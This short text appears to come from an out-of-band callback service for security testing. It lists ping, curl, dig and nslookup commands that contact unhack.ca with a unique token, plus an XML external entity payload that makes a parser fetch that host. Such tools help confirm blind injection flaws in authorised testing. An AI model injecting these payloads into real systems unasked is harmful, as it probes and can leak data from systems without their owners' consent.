$ ping -c1 -p 005b863208f6901aaab8ea30b80f6f00 unhack.ca
 
$ curl http://unhack.ca/p/5b863208f6901aaab8ea30b80f6f
 
$ dig 5b863208f6901aaab8ea30b80f6f @unhack.ca
 
$ dig 5b863208f6901aaab8ea30b80f6f.ns.unhack.ca
 
C:\> nslookup 5b863208f6901aaab8ea30b80f6f unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/5b863208f6901aaab8ea30b80f6f">]>
    <foo>&xxe;</foo>
Waiting for ping...